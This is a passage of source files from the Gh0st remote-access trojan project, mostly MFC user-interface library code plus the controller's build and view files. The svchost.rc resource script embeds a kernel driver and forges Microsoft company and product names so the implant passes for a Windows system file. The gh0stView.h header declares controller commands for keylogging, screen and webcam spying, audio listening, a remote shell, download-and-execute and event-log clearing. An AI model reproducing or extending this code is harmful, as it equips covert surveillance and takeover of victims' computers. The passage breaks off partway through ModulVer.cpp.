MTL=midl.exe 29 | RSC=rc.exe 30 | # PROP BASE Use_MFC 0 31 | # PROP BASE Use_Debug_Libraries 0 32 | # PROP BASE Output_Dir "Release" 33 | # PROP BASE Intermediate_Dir "Release" 34 | # PROP BASE Target_Dir "" 35 | # PROP Use_MFC 0 36 | # PROP Use_Debug_Libraries 0 37 | # PROP Output_Dir "Release" 38 | # PROP Intermediate_Dir "Release" 39 | # PROP Ignore_Export_Lib 0 40 | # PROP Target_Dir "" 41 | # ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /Yu"stdafx.h" /FD /c 42 | # ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /FR /YX"stdafx.h" /FD /c 43 | # ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 44 | # ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 45 | # ADD BASE RSC /l 0x804 /d "NDEBUG" 46 | # ADD RSC /l 0x804 /d "NDEBUG" 47 | BSC32=bscmake.exe 48 | # ADD BASE BSC32 /nologo 49 | # ADD BSC32 /nologo 50 | LINK32=link.exe 51 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /machine:I386 52 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib Shlwapi.lib /nologo /machine:I386 /out:"../../gh0st/res/install.exe" 53 | # SUBTRACT LINK32 /pdb:none /nodefaultlib 54 | # Begin Target 55 | 56 | # Name "install - Win32 Release" 57 | # Begin Group "Source Files" 58 | 59 | # PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" 60 | # Begin Source File 61 | 62 | SOURCE=.\install.cpp 63 | # End Source File 64 | # Begin Source File 65 | 66 | SOURCE=.\install.rc 67 | # End Source File 68 | # End Group 69 | # Begin Group "Header Files" 70 | 71 | # PROP Default_Filter "h;hpp;hxx;hm;inl" 72 | # Begin Source File 73 | 74 | SOURCE=.\resource.h 75 | # End Source File 76 | # End Group 77 | # Begin Group "Resource Files" 78 | 79 | # PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" 80 | # End Group 81 | # Begin Source File 82 | 83 | SOURCE=.\ReadMe.txt 84 | # End Source File 85 | # End Target 86 | # End Project 87 | -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/ShellTree.h: -------------------------------------------------------------------------------- 1 | #ifndef __SHELLTREE_H__ 2 | #define __SHELLTREE_H__ 3 | 4 | #if _MSC_VER >= 1000 5 | #pragma once 6 | #endif // _MSC_VER >= 1000 7 | // ShellTree.h : header file 8 | // 9 | 10 | #include 11 | #include 12 | #pragma comment(lib,"Shlwapi.lib") 13 | 14 | #include "ShellPidl.h" 15 | 16 | ///////////////////////////////////////////////////////////////////////////// 17 | // CShellTree window 18 | // 19 | // This source is part of CShellTree - Selom Ofori 20 | // 21 | // Version: 1.02 (any previously unversioned copies are older/inferior 22 | // 23 | // This code is free for all to use. Mutatilate it as much as you want 24 | // See MFCENUM sample from microsoft 25 | // ========================================================================== 26 | // HISTORY: 27 | // ========================================================================== 28 | // 1.01 24 Feb 1999 - Overloaded PopulateTree(LPCTSTR lpPath) in the 29 | // class CShellTree to fill the tree based upon 30 | // path. Takehiko Mizoguti [mizoguti@m2.sys.to.casio.co.jp] 31 | // ========================================================================== 32 | ///////////////////////////////////////////////////////////////////////////// 33 | 34 | class AFX_EXT_CLASS CShellTree : public CTreeCtrl, public CShellPidl 35 | { 36 | public: 37 | enum FindAttribs{type_drive,type_folder}; 38 | 39 | // Construction 40 | public: 41 | CShellTree(); 42 | 43 | // Attributes 44 | public: 45 | BOOL m_bOutaHere; 46 | 47 | // Operations 48 | public: 49 | void PopulateTree(LPCTSTR lpPath); 50 | void PopulateTree(); 51 | void PopulateTree(int nFolder); 52 | void OnFolderExpanding(NMHDR* pNMHDR, LRESULT* pResult); 53 | void GetContextMenu(NMHDR* pNMHDR, LRESULT* pResult); 54 | BOOL OnFolderSelected(NMHDR* pNMHDR, LRESULT* pResult, CString &szFolderPath); 55 | void OnDeleteShellItem(NMHDR* pNMHDR, LRESULT* pResult); 56 | void EnableImages(); 57 | BOOL GetSelectedFolderPath(CString &szFolderPath); 58 | bool SearchTree(HTREEITEM treeNode, CString szSearchName, FindAttribs attr); 59 | void TunnelTree(CString szFindPath); 60 | LPSHELLFOLDER GetParentShellFolder(HTREEITEM folderNode); 61 | LPITEMIDLIST GetRelativeIDLIST(HTREEITEM folderNode); 62 | LPITEMIDLIST GetFullyQualifiedID(HTREEITEM folderNode); 63 | void FindTreePidl( HTREEITEM nextNode, 64 | HTREEITEM& folderNode, 65 | LPLVITEMDATA lplvid, 66 | bool& valid); 67 | 68 | // Overrides 69 | // ClassWizard generated virtual function overrides 70 | //{{AFX_VIRTUAL(CShellTree) 71 | //}}AFX_VIRTUAL 72 | 73 | // Implementation 74 | public: 75 | virtual ~CShellTree(); 76 | 77 | // Generated message map functions 78 | protected: 79 | void FillTreeView(LPSHELLFOLDER lpsf, LPITEMIDLIST lpifq, HTREEITEM hParent); 80 | void GetNormalAndSelectedIcons(LPITEMIDLIST lpifq, LPTV_ITEM lptvitem); 81 | static int CALLBACK TreeViewCompareProc(LPARAM, LPARAM, LPARAM); 82 | 83 | //{{AFX_MSG(CShellTree) 84 | //}}AFX_MSG 85 | 86 | DECLARE_MESSAGE_MAP() 87 | }; 88 | 89 | ///////////////////////////////////////////////////////////////////////////// 90 | 91 | //{{AFX_INSERT_LOCATION}} 92 | // Microsoft Developer Studio will insert additional declarations immediately before the previous line. 93 | 94 | #endif // __SHELLTREE_H__ 95 | -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJ60Lib.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "CJ60Lib"=.\CJ60Lib.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | begin source code control 11 | "$/Src/CJ60Lib", KCAAAAAA 12 | . 13 | end source code control 14 | }}} 15 | 16 | Package=<4> 17 | {{{ 18 | }}} 19 | 20 | ############################################################################### 21 | 22 | Project: "CJ60StaticLib"=.\CJ60StaticLib.dsp - Package Owner=<4> 23 | 24 | Package=<5> 25 | {{{ 26 | begin source code control 27 | "$/Src/CJ60Lib", SFAAAAAA 28 | . 29 | end source code control 30 | }}} 31 | 32 | Package=<4> 33 | {{{ 34 | }}} 35 | 36 | ############################################################################### 37 | 38 | Project: "Demo_Controls"=..\Demo_Controls\Demo_Controls.dsp - Package Owner=<4> 39 | 40 | Package=<5> 41 | {{{ 42 | begin source code control 43 | "$/Src/Demo_Controls", NVAAAAAA 44 | ..\demo_controls 45 | end source code control 46 | }}} 47 | 48 | Package=<4> 49 | {{{ 50 | }}} 51 | 52 | ############################################################################### 53 | 54 | Project: "Demo_DevStudio"=..\Demo_DevStudio\Demo_DevStudio.dsp - Package Owner=<4> 55 | 56 | Package=<5> 57 | {{{ 58 | begin source code control 59 | "$/Src/Demo_DevStudio", EOAAAAAA 60 | ..\demo_devstudio 61 | end source code control 62 | }}} 63 | 64 | Package=<4> 65 | {{{ 66 | }}} 67 | 68 | ############################################################################### 69 | 70 | Project: "Demo_Explorer"=..\Demo_Explorer\Demo_Explorer.dsp - Package Owner=<4> 71 | 72 | Package=<5> 73 | {{{ 74 | begin source code control 75 | "$/Src/Demo_Explorer", USAAAAAA 76 | ..\demo_explorer 77 | end source code control 78 | }}} 79 | 80 | Package=<4> 81 | {{{ 82 | }}} 83 | 84 | ############################################################################### 85 | 86 | Project: "Demo_Outlook"=..\Demo_Outlook\Demo_Outlook.dsp - Package Owner=<4> 87 | 88 | Package=<5> 89 | {{{ 90 | begin source code control 91 | "$/Src/Demo_Outlook", MJAAAAAA 92 | ..\demo_outlook 93 | end source code control 94 | }}} 95 | 96 | Package=<4> 97 | {{{ 98 | }}} 99 | 100 | ############################################################################### 101 | 102 | Project: "StaticTest"=..\StaticTest\StaticTest.dsp - Package Owner=<4> 103 | 104 | Package=<5> 105 | {{{ 106 | begin source code control 107 | "$/Src/StaticTest", EWAAAAAA 108 | ..\statictest 109 | end source code control 110 | }}} 111 | 112 | Package=<4> 113 | {{{ 114 | }}} 115 | 116 | ############################################################################### 117 | 118 | Global: 119 | 120 | Package=<5> 121 | {{{ 122 | begin source code control 123 | "$/Src/CJ60Lib", TEAAAAAA 124 | d:\src\cj60lib 125 | end source code control 126 | }}} 127 | 128 | Package=<3> 129 | {{{ 130 | }}} 131 | 132 | ############################################################################### 133 | 134 | -------------------------------------------------------------------------------- /Server/svchost/svchost.rc: -------------------------------------------------------------------------------- 1 | //Microsoft Developer Studio generated resource script. 2 | // 3 | #include "resource.h" 4 | 5 | #define APSTUDIO_READONLY_SYMBOLS 6 | ///////////////////////////////////////////////////////////////////////////// 7 | // 8 | // Generated from the TEXTINCLUDE 2 resource. 9 | // 10 | #include "afxres.h" 11 | 12 | ///////////////////////////////////////////////////////////////////////////// 13 | #undef APSTUDIO_READONLY_SYMBOLS 14 | 15 | ///////////////////////////////////////////////////////////////////////////// 16 | // Chinese (P.R.C.) resources 17 | 18 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS) 19 | #ifdef _WIN32 20 | LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED 21 | #pragma code_page(936) 22 | #endif //_WIN32 23 | 24 | ///////////////////////////////////////////////////////////////////////////// 25 | // 26 | // BIN 27 | // 28 | 29 | IDR_SYS BIN DISCARDABLE "..\\sys\\RESSDT.sys" 30 | 31 | #ifdef APSTUDIO_INVOKED 32 | ///////////////////////////////////////////////////////////////////////////// 33 | // 34 | // TEXTINCLUDE 35 | // 36 | 37 | 1 TEXTINCLUDE DISCARDABLE 38 | BEGIN 39 | "resource.h\0" 40 | END 41 | 42 | 2 TEXTINCLUDE DISCARDABLE 43 | BEGIN 44 | "#include ""afxres.h""\r\n" 45 | "\0" 46 | END 47 | 48 | 3 TEXTINCLUDE DISCARDABLE 49 | BEGIN 50 | "\r\n" 51 | "\0" 52 | END 53 | 54 | #endif // APSTUDIO_INVOKED 55 | 56 | 57 | #ifndef _MAC 58 | ///////////////////////////////////////////////////////////////////////////// 59 | // 60 | // Version 61 | // 62 | 63 | VS_VERSION_INFO VERSIONINFO 64 | FILEVERSION 3,6,0,0 65 | PRODUCTVERSION 3,6,0,0 66 | FILEFLAGSMASK 0x3fL 67 | #ifdef _DEBUG 68 | FILEFLAGS 0x1L 69 | #else 70 | FILEFLAGS 0x0L 71 | #endif 72 | FILEOS 0x40004L 73 | FILETYPE 0x1L 74 | FILESUBTYPE 0x0L 75 | BEGIN 76 | BLOCK "StringFileInfo" 77 | BEGIN 78 | BLOCK "080404b0" 79 | BEGIN 80 | VALUE "Comments", "\0" 81 | VALUE "CompanyName", "Microsoft Corporation\0" 82 | VALUE "FileDescription", "Device Protect Application\0" 83 | VALUE "FileVersion", "3, 6, 0, 0\0" 84 | VALUE "InternalName", "Microsoft(R) Windows(R) Operating System\0" 85 | VALUE "LegalCopyright", "Copyright ? 2008\0" 86 | VALUE "LegalTrademarks", "\0" 87 | VALUE "OriginalFilename", "svchost.dll\0" 88 | VALUE "PrivateBuild", "\0" 89 | VALUE "ProductName", "Microsoft(R) Windows(R) Operating System\0" 90 | VALUE "ProductVersion", "3, 6, 0, 0\0" 91 | VALUE "SpecialBuild", "\0" 92 | END 93 | END 94 | BLOCK "VarFileInfo" 95 | BEGIN 96 | VALUE "Translation", 0x804, 1200 97 | END 98 | END 99 | 100 | #endif // !_MAC 101 | 102 | #endif // Chinese (P.R.C.) resources 103 | ///////////////////////////////////////////////////////////////////////////// 104 | 105 | 106 | 107 | #ifndef APSTUDIO_INVOKED 108 | ///////////////////////////////////////////////////////////////////////////// 109 | // 110 | // Generated from the TEXTINCLUDE 3 resource. 111 | // 112 | 113 | 114 | ///////////////////////////////////////////////////////////////////////////// 115 | #endif // not APSTUDIO_INVOKED 116 | 117 | -------------------------------------------------------------------------------- /gh0st/control/WinXPButtonST.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include "WinXPButtonST.h" 3 | 4 | #ifdef _DEBUG 5 | #undef THIS_FILE 6 | static char THIS_FILE[]=__FILE__; 7 | #define new DEBUG_NEW 8 | #endif 9 | 10 | CWinXPButtonST::CWinXPButtonST() 11 | { 12 | // No rounded borders 13 | m_bIsRounded = FALSE; 14 | } 15 | 16 | CWinXPButtonST::~CWinXPButtonST() 17 | { 18 | } 19 | 20 | // This function is called every time the button border needs to be painted. 21 | // This is a virtual function that can be rewritten in CButtonST-derived classes 22 | // to produce a whole range of buttons not available by default. 23 | // 24 | // Parameters: 25 | // [IN] pDC 26 | // Pointer to a CDC object that indicates the device context. 27 | // [IN] pRect 28 | // Pointer to a CRect object that indicates the bounds of the 29 | // area to be painted. 30 | // 31 | // Return value: 32 | // BTNST_OK 33 | // Function executed successfully. 34 | // 35 | DWORD CWinXPButtonST::OnDrawBorder(CDC* pDC, CRect* pRect) 36 | { 37 | return BTNST_OK; 38 | } // End of OnDrawBorder 39 | 40 | // This function is called every time the button background needs to be painted. 41 | // If the button is in transparent mode this function will NOT be called. 42 | // This is a virtual function that can be rewritten in CButtonST-derived classes 43 | // to produce a whole range of buttons not available by default. 44 | // 45 | // Parameters: 46 | // [IN] pDC 47 | // Pointer to a CDC object that indicates the device context. 48 | // [IN] pRect 49 | // Pointer to a CRect object that indicates the bounds of the 50 | // area to be painted. 51 | // 52 | // Return value: 53 | // BTNST_OK 54 | // Function executed successfully. 55 | // 56 | DWORD CWinXPButtonST::OnDrawBackground(CDC* pDC, CRect* pRect) 57 | { 58 | COLORREF crBackColor = m_crColors[BTNST_COLOR_BK_IN]; 59 | COLORREF crBorderColor = RGB(0, 0, 0); 60 | if (!m_bMouseOnButton && !m_bIsPressed) 61 | { 62 | crBackColor = GetSysColor(COLOR_BTNFACE); 63 | crBorderColor = GetSysColor(COLOR_BTNSHADOW); 64 | // return BASE_BUTTONST::OnDrawBackground(pDC, pRect); 65 | } 66 | 67 | 68 | // Create and select a solid brush for button background 69 | CBrush brushBK(crBackColor); 70 | CBrush* pOldBrush = pDC->SelectObject(&brushBK); 71 | 72 | // Create and select a thick black pen for button border 73 | CPen penBorder; 74 | penBorder.CreatePen(PS_SOLID, 1, crBorderColor); 75 | CPen* pOldPen = pDC->SelectObject(&penBorder); 76 | 77 | if (m_bIsRounded) 78 | pDC->RoundRect(pRect, CPoint(8, 8)); 79 | else 80 | pDC->Rectangle(pRect); 81 | 82 | // Put back the old objects 83 | pDC->SelectObject(pOldBrush); 84 | pDC->SelectObject(pOldPen); 85 | 86 | return BTNST_OK; 87 | } // End of OnDrawBackground 88 | 89 | // This function enables or disables the rounded border for the button. 90 | // 91 | // Parameters: 92 | // [IN] bRounded 93 | // If TRUE the button will have a round border. 94 | // [IN] bRepaint 95 | // If TRUE the button will be repainted. 96 | // 97 | // Return value: 98 | // BTNST_OK 99 | // Function executed successfully. 100 | // 101 | DWORD CWinXPButtonST::SetRounded(BOOL bRounded, BOOL bRepaint) 102 | { 103 | m_bIsRounded = bRounded; 104 | if (bRepaint) Invalidate(); 105 | 106 | return BTNST_OK; 107 | } // End of SetRounded 108 | 109 | #undef BASE_BUTTONST 110 | -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/hyperlink.h: -------------------------------------------------------------------------------- 1 | // HyperLink.h : header file 2 | // 3 | // 4 | // HyperLink static control. Will open the default browser with the given URL 5 | // when the user clicks on the link. 6 | // 7 | // Copyright Chris Maunder, 1997 8 | // Feel free to use and distribute. May not be sold for profit. 9 | 10 | #ifndef __HYPERLINK_H__ 11 | #define __HYPERLINK_H__ 12 | 13 | #if _MSC_VER >= 1000 14 | #pragma once 15 | #endif // _MSC_VER >= 1000 16 | 17 | ///////////////////////////////////////////////////////////////////////////// 18 | // CHyperLink window 19 | 20 | class AFX_EXT_CLASS CHyperLink : public CStatic 21 | { 22 | // Construction/destruction 23 | public: 24 | CHyperLink(); 25 | virtual ~CHyperLink(); 26 | 27 | // Attributes 28 | public: 29 | 30 | // Operations 31 | public: 32 | 33 | void SetURL(CString strURL); 34 | CString GetURL() const; 35 | 36 | void SetColours(COLORREF crLinkColour, COLORREF crVisitedColour, 37 | COLORREF crHoverColour = -1); 38 | COLORREF GetLinkColour() const; 39 | COLORREF GetVisitedColour() const; 40 | COLORREF GetHoverColour() const; 41 | 42 | void SetVisited(BOOL bVisited = TRUE); 43 | BOOL GetVisited() const; 44 | 45 | void SetLinkCursor(HCURSOR hCursor); 46 | HCURSOR GetLinkCursor() const; 47 | 48 | void SetUnderline(BOOL bUnderline = TRUE); 49 | BOOL GetUnderline() const; 50 | 51 | void SetAutoSize(BOOL bAutoSize = TRUE); 52 | BOOL GetAutoSize() const; 53 | 54 | HINSTANCE GotoURL(LPCTSTR url, int showcmd); 55 | 56 | // Overrides 57 | // ClassWizard generated virtual function overrides 58 | //{{AFX_VIRTUAL(CHyperLink) 59 | public: 60 | virtual BOOL PreTranslateMessage(MSG* pMsg); 61 | protected: 62 | virtual void PreSubclassWindow(); 63 | //}}AFX_VIRTUAL 64 | 65 | // Implementation 66 | protected: 67 | void ReportError(int nError); 68 | LONG GetRegKey(HKEY key, LPCTSTR subkey, LPTSTR retdata); 69 | void PositionWindow(); 70 | void SetDefaultCursor(); 71 | 72 | // Protected attributes 73 | protected: 74 | COLORREF m_crLinkColour, m_crVisitedColour; // Hyperlink colours 75 | COLORREF m_crHoverColour; // Hover colour 76 | BOOL m_bOverControl; // cursor over control? 77 | BOOL m_bVisited; // Has it been visited? 78 | BOOL m_bUnderline; // underline hyperlink? 79 | BOOL m_bAdjustToFit; // Adjust window size to fit text? 80 | CString m_strURL; // hyperlink URL 81 | CFont m_Font; // Underline font if necessary 82 | HCURSOR m_hLinkCursor; // Cursor for hyperlink 83 | CToolTipCtrl m_ToolTip; // The tooltip 84 | 85 | // Generated message map functions 86 | protected: 87 | //{{AFX_MSG(CHyperLink) 88 | afx_msg HBRUSH CtlColor(CDC* pDC, UINT nCtlColor); 89 | afx_msg BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message); 90 | afx_msg void OnMouseMove(UINT nFlags, CPoint point); 91 | //}}AFX_MSG 92 | afx_msg void OnClicked(); 93 | DECLARE_MESSAGE_MAP() 94 | }; 95 | 96 | ///////////////////////////////////////////////////////////////////////////// 97 | 98 | //{{AFX_INSERT_LOCATION}} 99 | // Microsoft Developer Studio will insert additional declarations immediately before the previous line. 100 | 101 | #endif // __HYPERLINK_H__ 102 | -------------------------------------------------------------------------------- /gh0st/gh0stView.h: -------------------------------------------------------------------------------- 1 | // gh0stView.h : interface of the CGh0stView class 2 | // 3 | ///////////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_GH0STVIEW_H__14553897_2664_48B4_A82B_6D6F8F789ED3__INCLUDED_) 6 | #define AFX_GH0STVIEW_H__14553897_2664_48B4_A82B_6D6F8F789ED3__INCLUDED_ 7 | 8 | 9 | #include "gh0stDoc.h" 10 | #include "SEU_QQwry.h" // Added by ClassView 11 | 12 | 13 | #if _MSC_VER > 1000 14 | #pragma once 15 | #endif // _MSC_VER > 1000 16 | 17 | class CGh0stDoc; 18 | struct ClientContext; 19 | 20 | #define CListView CCJListView 21 | 22 | class CGh0stView : public CListView 23 | { 24 | protected: // create from serialization only 25 | CGh0stView(); 26 | DECLARE_DYNCREATE(CGh0stView) 27 | 28 | // Attributes 29 | public: 30 | CGh0stDoc* GetDocument(); 31 | // Operations 32 | public: 33 | // Overrides 34 | // ClassWizard generated virtual function overrides 35 | //{{AFX_VIRTUAL(CGh0stView) 36 | public: 37 | virtual void OnDraw(CDC* pDC); // overridden to draw this view 38 | virtual BOOL PreCreateWindow(CREATESTRUCT& cs); 39 | protected: 40 | virtual void OnInitialUpdate(); // called first time after construct 41 | //}}AFX_VIRTUAL 42 | 43 | // Implementation 44 | public: 45 | CIOCPServer* m_iocpServer; 46 | int m_nCount; 47 | virtual ~CGh0stView(); 48 | #ifdef _DEBUG 49 | virtual void AssertValid() const; 50 | virtual void Dump(CDumpContext& dc) const; 51 | #endif 52 | 53 | protected: 54 | 55 | // Generated message map functions 56 | protected: 57 | //{{AFX_MSG(CGh0stView) 58 | afx_msg void OnSize(UINT nType, int cx, int cy); 59 | afx_msg void OnRButtonDown(UINT nFlags, CPoint point); 60 | afx_msg void OnFilemanager(); 61 | afx_msg void OnScreenspy(); 62 | afx_msg void OnDownexec(); 63 | afx_msg void OnWebcam(); 64 | afx_msg void OnRemove(); 65 | afx_msg void OnKeyboard(); 66 | afx_msg void OnSystem(); 67 | afx_msg void OnRemoteshell(); 68 | afx_msg void OnLogoff(); 69 | afx_msg void OnReboot(); 70 | afx_msg void OnShutdown(); 71 | afx_msg void OnSelectAll(); 72 | afx_msg void OnUnselectAll(); 73 | afx_msg void OnOpenUrlHide(); 74 | afx_msg void OnOpenUrlShow(); 75 | afx_msg void OnCleanevent(); 76 | afx_msg void OnRenameRemark(); 77 | afx_msg void OnUpdateServer(); 78 | afx_msg void OnAudioListen(); 79 | afx_msg void OnDisconnect(); 80 | //}}AFX_MSG 81 | DECLARE_MESSAGE_MAP() 82 | private: 83 | CListCtrl *m_pListCtrl; 84 | SEU_QQwry *m_QQwry; 85 | void SendSelectCommand(PBYTE pData, UINT nSize); 86 | afx_msg LRESULT OnMyInitialUpdate(WPARAM /*wParam*/, LPARAM /*lParam*/); 87 | afx_msg LRESULT OnOpenManagerDialog(WPARAM /*wParam*/, LPARAM /*lParam*/); 88 | afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM); 89 | afx_msg LRESULT OnOpenWebCamDialog(WPARAM, LPARAM); 90 | afx_msg LRESULT OnOpenAudioDialog(WPARAM, LPARAM); 91 | afx_msg LRESULT OnOpenKeyBoardDialog(WPARAM, LPARAM); 92 | afx_msg LRESULT OnOpenSystemDialog(WPARAM, LPARAM); 93 | afx_msg LRESULT OnOpenShellDialog(WPARAM, LPARAM); 94 | afx_msg LRESULT OnRemoveFromList(WPARAM, LPARAM); 95 | afx_msg LRESULT OnAddToList(WPARAM, LPARAM); 96 | }; 97 | 98 | #ifndef _DEBUG // debug version in gh0stView.cpp 99 | inline CGh0stDoc* CGh0stView::GetDocument() 100 | { return (CGh0stDoc*)m_pDocument; } 101 | #endif 102 | 103 | ///////////////////////////////////////////////////////////////////////////// 104 | 105 | //{{AFX_INSERT_LOCATION}} 106 | // Microsoft Visual C++ will insert additional declarations immediately before the previous line. 107 | 108 | #endif // !defined(AFX_GH0STVIEW_H__14553897_2664_48B4_A82B_6D6F8F789ED3__INCLUDED_) 109 | -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CoolBar.h: -------------------------------------------------------------------------------- 1 | //////////////////////////////////////////////////////////////// 2 | // Copyright 1998 Paul DiLascia 3 | // If this code works, it was written by Paul DiLascia. 4 | // If not, I don't know who wrote it. 5 | // 6 | #ifndef __COOLBAR_H 7 | #define __COOLBAR_H 8 | 9 | ////////////////// 10 | // CCoolBar encapsulates IE common coolbar (rebar) for MFC. To use it, 11 | // 12 | // * derive your own CMyCoolBar from CCoolBar 13 | // * implement OnCreateBands to create whatever bands you want 14 | // * instantiate CMyCoolBar in your frame window as you would a toolbar 15 | // * create and load it, etc from CMainFrame::OnCreate 16 | // 17 | // See MBTest for example of how to use. 18 | // 19 | class AFX_EXT_CLASS CCoolBar : public CControlBar { 20 | public: 21 | CCoolBar(); 22 | virtual ~CCoolBar(); 23 | 24 | BOOL Create(CWnd* pParentWnd, DWORD dwStyle, 25 | DWORD dwAfxBarStyle = CBRS_ALIGN_TOP, 26 | UINT nID = AFX_IDW_TOOLBAR); 27 | 28 | // message wrappers 29 | BOOL GetBarInfo(LPREBARINFO lp) 30 | { ASSERT(::IsWindow(m_hWnd)); 31 | return (BOOL)SendMessage(RB_GETBARINFO, 0, (LPARAM)lp); } 32 | 33 | BOOL SetBarInfo(LPREBARINFO lp) 34 | { ASSERT(::IsWindow(m_hWnd)); 35 | return (BOOL)SendMessage(RB_SETBARINFO, 0, (LPARAM)lp); } 36 | 37 | BOOL GetBandInfo(int iBand, LPREBARBANDINFO lp) 38 | { ASSERT(::IsWindow(m_hWnd)); 39 | return (BOOL)SendMessage(RB_GETBANDINFO, iBand, (LPARAM)lp); } 40 | 41 | BOOL SetBandInfo(int iBand, LPREBARBANDINFO lp) 42 | { ASSERT(::IsWindow(m_hWnd)); 43 | return (BOOL)SendMessage(RB_SETBANDINFO, iBand, (LPARAM)lp); } 44 | 45 | BOOL InsertBand(int iWhere, LPREBARBANDINFO lp) 46 | { ASSERT(::IsWindow(m_hWnd)); 47 | return (BOOL)SendMessage(RB_INSERTBAND, (WPARAM)iWhere, (LPARAM)lp); } 48 | 49 | BOOL DeleteBand(int nWhich) 50 | { ASSERT(::IsWindow(m_hWnd)); 51 | return (BOOL)SendMessage(RB_DELETEBAND, (WPARAM)nWhich); } 52 | 53 | int GetBandCount() 54 | { ASSERT(::IsWindow(m_hWnd)); 55 | return (int)SendMessage(RB_GETBANDCOUNT); } 56 | 57 | int GetRowCount() 58 | { ASSERT(::IsWindow(m_hWnd)); 59 | return (int)SendMessage(RB_GETROWCOUNT); } 60 | 61 | int GetRowHeight(int nWhich) 62 | { ASSERT(::IsWindow(m_hWnd)); 63 | return (int)SendMessage(RB_GETROWHEIGHT, (WPARAM)nWhich); } 64 | 65 | // Call these handy functions from your OnCreateBands to do stuff 66 | // more easily than the Windows way. 67 | // 68 | BOOL InsertBand(CWnd* pWnd, CSize szMin, int cx = 0, 69 | LPCTSTR lpText=NULL, int iWhere=-1, BOOL bNewRow =FALSE); 70 | void SetColors(COLORREF clrFG, COLORREF clrBG); 71 | void SetBackgroundBitmap(CBitmap* pBitmap); 72 | void Invalidate(BOOL bErase = TRUE); // invalidates children too 73 | 74 | static BOOL bTRACE; // Set TRUE to see extra diagnostics in DEBUG code 75 | 76 | protected: 77 | // YOU MUST OVERRIDE THIS in your derived class to create bands. 78 | virtual BOOL OnCreateBands() = 0; // return -1 if failed 79 | 80 | // Virtual fn called when the coolbar height changes as a result of moving 81 | // bands around. Override only if you want to do something different. 82 | virtual void OnHeightChange(const CRect& rcNew); 83 | 84 | // overrides to fix problems w/MFC. No need to override yourself. 85 | virtual CSize CalcFixedLayout(BOOL bStretch, BOOL bHorz); 86 | virtual CSize CalcDynamicLayout(int nLength, DWORD nMode); 87 | virtual void OnUpdateCmdUI(CFrameWnd* pTarget, BOOL bDisableIfNoHndler); 88 | 89 | // message handlers 90 | afx_msg int OnCreate(LPCREATESTRUCT lpcs); 91 | afx_msg void OnPaint(); 92 | afx_msg void OnHeightChange(NMHDR* pNMHDR, LRESULT* pRes); 93 | afx_msg BOOL OnEraseBkgnd(CDC* pDC); 94 | 95 | DECLARE_MESSAGE_MAP() 96 | DECLARE_DYNAMIC(CCoolBar) 97 | }; 98 | 99 | ////////////////// 100 | // Programmer-friendly REBARINFO initializes itself. 101 | // 102 | class AFX_EXT_CLASS CRebarInfo : public REBARINFO { 103 | public: 104 | CRebarInfo() { 105 | memset(this, 0, sizeof(REBARINFO)); 106 | cbSize = sizeof(REBARINFO); 107 | } 108 | }; 109 | 110 | ////////////////// 111 | // Programmer-friendly REBARBANDINFO initializes itself. 112 | // 113 | class AFX_EXT_CLASS CRebarBandInfo : public REBARBANDINFO { 114 | public: 115 | CRebarBandInfo() { 116 | memset(this, 0, sizeof(REBARBANDINFO)); 117 | cbSize = sizeof(REBARBANDINFO); 118 | } 119 | }; 120 | 121 | #endif 122 | -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/ModulVer.cpp: -------------------------------------------------------------------------------- 1 | //////////////////////////////////////////////////////////////// 2 | // 1998 Microsoft Systems Journal 3 | // If this code works, it was written by Paul DiLascia. 4 | // If not, I don't know who wrote it. 5 | // 6 | // CModuleVersion provides an easy way to get version info 7 | // for a module.(DLL or EXE). 8 | // 9 | #include "StdAfx.h" 10 | #include "ModulVer.h" 11 | 12 | CModuleVersion::CModuleVersion() 13 | { 14 | m_pVersionInfo = NULL; // raw version info data 15 | } 16 | 17 | ////////////////// 18 | // Destroy: delete version info 19 | // 20 | CModuleVersion::~CModuleVersion() 21 | { 22 | delete [] m_pVersionInfo; 23 | } 24 | 25 | ////////////////// 26 | // Get file version info for a given module 27 | // Allocates storage for all info, fills "this" with 28 | // VS_FIXEDFILEINFO, and sets codepage. 29 | // 30 | BOOL CModuleVersion::GetFileVersionInfo(LPCTSTR modulename) 31 | { 32 | m_translation.charset = 1252; // default = ANSI code page 33 | memset((VS_FIXEDFILEINFO*)this, 0, sizeof(VS_FIXEDFILEINFO)); 34 | 35 | CLoadLibrary lib(modulename); 36 | 37 | // get module handle 38 | TCHAR filename[_MAX_PATH]; 39 | HMODULE hModule = ::GetModuleHandle(modulename); 40 | if (hModule==NULL && modulename!=NULL) 41 | return FALSE; 42 | 43 | // get module file name 44 | DWORD len = GetModuleFileName(hModule, filename, 45 | sizeof(filename)/sizeof(filename[0])); 46 | if (len <= 0) 47 | return FALSE; 48 | 49 | // read file version info 50 | DWORD dwDummyHandle; // will always be set to zero 51 | len 